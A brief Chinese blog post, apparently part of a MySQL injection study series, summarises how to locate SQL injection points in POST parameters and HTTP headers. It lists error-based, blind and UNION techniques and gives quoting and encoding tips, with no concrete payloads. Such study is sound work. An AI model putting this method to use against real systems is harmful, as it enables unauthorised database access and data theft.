POST注入一般的判断是先从抓取的数据包中的参数进行注入点的判断,如果从参数中找不到注入点,则再从HTTP头查找注入点,参数的注入,多数能采用报错注入/布尔盲注/时间盲注等方式,少数能用UNION查询的方式得到数据库信息;对于HTTP请求头注入,需要注意的是HTTP头类型值字符串一般是用单引号或者双引号闭合的,有时候需要考虑字符串的编码格式,多数情况下采用报错注入的方式获取信息。

[如有错误,请指出,拜托了<( _ _ )> !!!]

你可能感兴趣的:(#,MYSQL注入学习)